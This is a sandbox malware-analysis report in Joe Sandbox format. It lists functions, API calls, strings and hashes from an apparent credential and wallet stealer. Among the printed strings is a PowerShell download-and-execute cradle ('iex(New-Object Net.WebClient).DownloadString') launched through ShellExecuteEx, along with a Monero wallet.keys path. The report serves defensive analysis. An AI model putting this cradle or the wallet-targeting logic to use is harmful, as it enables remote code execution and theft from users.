lstrlen.KERNEL32(?), ref: 00338501
RegQueryValueExA.ADVAPI32(00000000,0109E5D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00340B34), ref: 00338599
RegCloseKey.ADVAPI32(00000000), ref: 00338608
RegCloseKey.ADVAPI32(00000000), ref: 0033861A

Strings

%s\%s, xrefs: 0033844D

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 22c11f3eb0477ac849e07cde9c83b44e7ab97bc94fdfcb61594909cabbe9f3c3
Instruction ID: 00e7cfee5ee5bdb39d2f389982868581bec1bbaa500c747f09ec9982668bb224
Opcode Fuzzy Hash: 22c11f3eb0477ac849e07cde9c83b44e7ab97bc94fdfcb61594909cabbe9f3c3
Instruction Fuzzy Hash: 1E21E7B1910218ABDB24DF54DC85FE9B7B8FB48700F00C598E649A7140DF75AA85CFD4

Function 00337690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003376A4
RtlAllocateHeap.NTDLL(00000000), ref: 003376AB
RegOpenKeyExA.ADVAPI32(80000002,0108C390,00000000,00020119,00000000), ref: 003376DD
RegQueryValueExA.ADVAPI32(00000000,0109E4A0,00000000,00000000,?,000000FF), ref: 003376FE
RegCloseKey.ADVAPI32(00000000), ref: 00337708

Strings

Windows 11, xrefs: 003376BD

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2abe27fd60350da8d667fad436a81ba6b1eb7e6f0df4a243ab54921a44c21888
Instruction ID: 6bfc52a2ee106c065232ad322ec67abf80a6bd8d60ed4ea912c976fd76cc631f
Opcode Fuzzy Hash: 2abe27fd60350da8d667fad436a81ba6b1eb7e6f0df4a243ab54921a44c21888
Instruction Fuzzy Hash: 1F0162B5A04208BBEB10DBE8DD89F7DB7BCEB58701F104454FA05E7291E6B4A908DF51

Function 00337720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337734
RtlAllocateHeap.NTDLL(00000000), ref: 0033773B
RegOpenKeyExA.ADVAPI32(80000002,0108C390,00000000,00020119,003376B9), ref: 0033775B
RegQueryValueExA.ADVAPI32(003376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0033777A
RegCloseKey.ADVAPI32(003376B9), ref: 00337784

Strings

CurrentBuildNumber, xrefs: 00337771

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 9073b7f03a7eb4df39f4eb9e1cf855925d54e2dd29f7acaf10c785ffc0e82423
Instruction ID: df0f8750968fcea1f31a13afd118f0013472314c4b35d9abb1a3c6132955def1
Opcode Fuzzy Hash: 9073b7f03a7eb4df39f4eb9e1cf855925d54e2dd29f7acaf10c785ffc0e82423
Instruction Fuzzy Hash: 320117B5A40308BBD710DFE4DC4AFAEB7B8EB54701F104555FA05B7281D7B065449F51

Function 003392E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:3,80000000,00000003,00000000,00000003,00000080,00000000,?,00333AEE,?), ref: 003392FC
GetFileSizeEx.KERNEL32(000000FF,:3), ref: 00339319
CloseHandle.KERNEL32(000000FF), ref: 00339327

Strings

:3, xrefs: 003392F8, 003392FB
:3, xrefs: 00339311, 0033933D, 00339314

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :3$:3
API String ID: 1378416451-2957867591
Opcode ID: 4653f0f3955070e16d41d061285699f9c2aee29a36e0234600b2760fa178cf3b
Instruction ID: 4e5b990b781cda50d991b6537404b4272a3909682588a427b482efd3682ed003
Opcode Fuzzy Hash: 4653f0f3955070e16d41d061285699f9c2aee29a36e0234600b2760fa178cf3b
Instruction Fuzzy Hash: BEF08C78E00208FBDB20DBB4DC88B9E77B9EB58320F108254F611A72C0E6B096009F41

Function 003299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
LocalFree.KERNEL32(0032148F), ref: 00329A90
CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 36a711cd8a139a94331019fb7f99801dda475c719c758b8b60ae6d40c60165ff
Instruction ID: 4f594e4bc28e62a93840b53b1eb26426034b6ca9d699fa0fac3059772b95dc37
Opcode Fuzzy Hash: 36a711cd8a139a94331019fb7f99801dda475c719c758b8b60ae6d40c60165ff
Instruction Fuzzy Hash: C4314BB4A00309EFDB15CF98D885BEE77B9FF48300F108159E901AB290D778AA45DFA1

Function 00334780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0109E080), ref: 003347DB

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334801
lstrcat.KERNEL32(?,?), ref: 00334820
lstrcat.KERNEL32(?,?), ref: 00334834
lstrcat.KERNEL32(?,0108B6F8), ref: 00334847
lstrcat.KERNEL32(?,?), ref: 0033485B
lstrcat.KERNEL32(?,0109DD80), ref: 0033486F

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 00338D90: GetFileAttributesA.KERNEL32(00000000,?,00321B54,?,?,0034564C,?,?,00340E1F), ref: 00338D9F

Part of subcall function 00334570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00334580
Part of subcall function 00334570: RtlAllocateHeap.NTDLL(00000000), ref: 00334587
Part of subcall function 00334570: wsprintfA.USER32 ref: 003345A6
Part of subcall function 00334570: FindFirstFileA.KERNEL32(?,?), ref: 003345BD

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: f3f2ba30449734142c5d873ecf086890c6b6a487ddd28caaacb3ee26d544da99
Instruction ID: f1c4a69c01705c732102e475f28c61c84d2de64352b808a5b6c2513cc4c3f247
Opcode Fuzzy Hash: f3f2ba30449734142c5d873ecf086890c6b6a487ddd28caaacb3ee26d544da99
Instruction Fuzzy Hash: 913130B690031867CB16FBA0DCC5EED737CAB58700F404589B359AB091EEB4E6898F95

Function 00332C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

ShellExecuteEx.SHELL32(0000003C), ref: 00332D85

Strings

<, xrefs: 00332D39
')", xrefs: 00332CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00332CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00332D04

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 81c75ad959495d2ff31616ae5a71e73f44759a1bd20c7f7326e264794e4b8212
Instruction ID: a1c6eed00aa33b1c83be493c3f1012d84f66ac6126b5ca623d61e1f83f579cf2
Opcode Fuzzy Hash: 81c75ad959495d2ff31616ae5a71e73f44759a1bd20c7f7326e264794e4b8212
Instruction Fuzzy Hash: 6441AF71D10608AADB1AEFA0C8D2BDDBB74AF14300F504119F156BF191DF746A8ADF92

Function 00329E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00329F41

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

v10, xrefs: 00329EA3
ERROR_RUN_EXTRACTOR, xrefs: 00329E67
@, xrefs: 00329EF1
v20, xrefs: 00329E21

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: e1f4b6b50fc85bdf12e54b098c2a782d13fd99280a656482c1a0fc8d679e0f11
Instruction ID: a5410256b9b21942cbf67d1682ebfcc0613ab0c75eec18857eb364cbb996715c
Opcode Fuzzy Hash: e1f4b6b50fc85bdf12e54b098c2a782d13fd99280a656482c1a0fc8d679e0f11
Instruction Fuzzy Hash: A5616E70A10618EFDB29EFA4DD96FED77B9AF44300F008018F94A5F191EB746A45CB92

Function 003340B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0109DBA0,00000000,00020119,?), ref: 003340F4
RegQueryValueExA.ADVAPI32(?,0109DFD8,00000000,00000000,00000000,000000FF), ref: 00334118
RegCloseKey.ADVAPI32(?), ref: 00334122
lstrcat.KERNEL32(?,00000000), ref: 00334147
lstrcat.KERNEL32(?,0109E020), ref: 0033415B

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: d639921bf1bfa1da8f0700c60b03a8c187d58c5aa74b2a459e088fe7a5894af9
Instruction ID: 4873f184f47159820b18be813473477cae80ed9fd6cff0509b3f489c1719522f
Opcode Fuzzy Hash: d639921bf1bfa1da8f0700c60b03a8c187d58c5aa74b2a459e088fe7a5894af9
Instruction Fuzzy Hash: 8B418AB6D001086BDB15EBA4EC96FFE733DAB98300F008558F6155B181EAB55B8C8FD2

Function 00337E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337E37
RtlAllocateHeap.NTDLL(00000000), ref: 00337E3E
RegOpenKeyExA.ADVAPI32(80000002,0108C0F0,00000000,00020119,?), ref: 00337E5E
RegQueryValueExA.ADVAPI32(?,0109DAA0,00000000,00000000,000000FF,000000FF), ref: 00337E7F
RegCloseKey.ADVAPI32(?), ref: 00337E92

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 11a98cff7ae748eb1872b74e66dc753137845147af4616cfb09dcd17a7ca337c
Instruction ID: e430d9b48562c98d9f136358e823f1725f341ba0a62a87f08647b5522a23a7fa
Opcode Fuzzy Hash: 11a98cff7ae748eb1872b74e66dc753137845147af4616cfb09dcd17a7ca337c
Instruction Fuzzy Hash: 01114CB1A44205EBDB14CF98DD89FBBBBBCEB44B11F104159F605A7680D7B468049FA2

Function 00339260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0109DF30,?,?,?,0033140C,?,0109DF30,00000000), ref: 0033926C
lstrcpyn.KERNEL32(0056AB88,0109DF30,0109DF30,?,0033140C,?,0109DF30), ref: 00339290
lstrlen.KERNEL32(?,?,0033140C,?,0109DF30), ref: 003392A7
wsprintfA.USER32 ref: 003392C7

Strings

%s%s, xrefs: 003392B5

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
